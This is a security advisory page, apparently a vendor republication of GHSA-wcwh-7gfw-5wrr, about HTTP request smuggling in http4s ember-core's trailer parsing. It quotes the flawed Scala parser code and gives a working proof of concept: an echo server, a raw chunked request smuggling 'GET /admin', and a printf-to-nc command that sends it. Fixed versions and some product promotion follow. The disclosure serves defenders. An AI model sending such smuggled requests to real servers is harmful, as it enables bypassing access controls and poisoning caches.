GHSA-wcwh-7gfw-5wrr
Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
org.http4s:http4s-ember-core_2.12☕org.http4s:http4s-ember-core_2.13☕org.http4s:http4s-ember-core_3☕org.http4s:http4s-ember-core_2.13☕org.http4s:http4s-ember-core_3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to:
- Bypass front-end servers security controls
- Launch targeted attacks against active users
- Poison web caches
Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.
Details
The HTTP chunked message parser, after parsing the last body chunk, calls parseTrailers (ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142).
This method parses the trailer section using Parser.parse, where the issue originates.
parse has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with state=false looking for the header name till reaching the condition else if (current == lf && (idx > 0 && message(idx - 1) == cr)) that sets complete=true even if no \r\n\r\n is found.
if (current == colon) {
state = true // set state to check for header value
name = new String(message, start, idx - start) // extract name string
start = idx + 1 // advance past colon for next start
// TODO: This if clause may not be necessary since the header value parser trims
if (message.size > idx + 1 && message(idx + 1) == space) {
start += 1 // if colon is followed by space advance again
idx += 1 // double advance index here to skip the space
}
// double CRLF condition - Termination of headers
} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check
complete = true // completed terminate loop
}
The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.
PoC
Start a simple webserver that echoes the received requests:
import cats.effect._
import cats.implicits._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.ember.server.EmberServerBuilder
import org.http4s.server.Router
import org.http4s.server.middleware.RequestLogger
import org.typelevel.log4cats.LoggerFactory
import org.typelevel.log4cats.slf4j.Slf4jFactory
import com.comcast.ip4s._
object ExploitServer extends IOApp {
implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]
val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {
case req @ _ =>
for {
bodyStr <- req.bodyText.compile.string
method = req.method.name
uri = req.uri.toString()
version = req.httpVersion.toString
headers = req.headers.headers.map { header =>
s"${header.name.toString.toLowerCase}: ${header.value}"
}.mkString("\n")
responseText = s"""$method $uri $version
$headers
$bodyStr
"""
result <- Ok(responseText)
} yield result
}
val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(
Router("/" -> echoService).orNotFound
)
override def run(args: List[String]): IO[ExitCode] = {
EmberServerBuilder
.default[IO]
.withHost(ipv4"0.0.0.0")
.withPort(port"8080")
.withHttpApp(httpApp)
.build
.use { server =>
IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never
}
.as(ExitCode.Success)
}
}
build.sbt
ThisBuild / scalaVersion := "2.13.15"
val http4sVersion = "0.23.30"
lazy val root = (project in file("."))
.settings(
name := "http4s-echo-server",
libraryDependencies ++= Seq(
"org.http4s" %% "http4s-ember-server" % http4sVersion,
"org.http4s" %% "http4s-dsl" % http4sVersion,
"org.http4s" %% "http4s-circe" % http4sVersion,
"ch.qos.logback" % "logback-classic" % "1.4.11",
"org.typelevel" %% "log4cats-slf4j" % "2.6.0",
)
)
Send the following request:
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
2
aa
0
Test: smuggling
a
GET /admin HTTP/1.1
Host: localhost
You can do that with the following command:
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080
You will see that the request is interpreted as two separate requests
16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.http4s:http4s-ember-core_2.12 | all versions | 0.23.31 |
| ☕Maven | org.http4s:http4s-ember-core_2.13 | all versions | 0.23.31 |
| ☕Maven | org.http4s:http4s-ember-core_3 | all versions | 0.23.31 |
| ☕Maven | org.http4s:http4s-ember-core_2.13 | ≥ 1.0.0-M1&&< 1.0.0-M45 | 1.0.0-M45 |
| ☕Maven | org.http4s:http4s-ember-core_3 | ≥ 1.0.0-M1&&< 1.0.0-M45 | 1.0.0-M45 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.http4s:http4s-ember-core_2.12. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.http4s:http4s-ember-core_2.12 to 0.23.31 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wcwh-7gfw-5wrr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wcwh-7gfw-5wrr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wcwh-7gfw-5wrr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wcwh-7gfw-5wrr in your dependencies?
O3 detects GHSA-wcwh-7gfw-5wrr across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.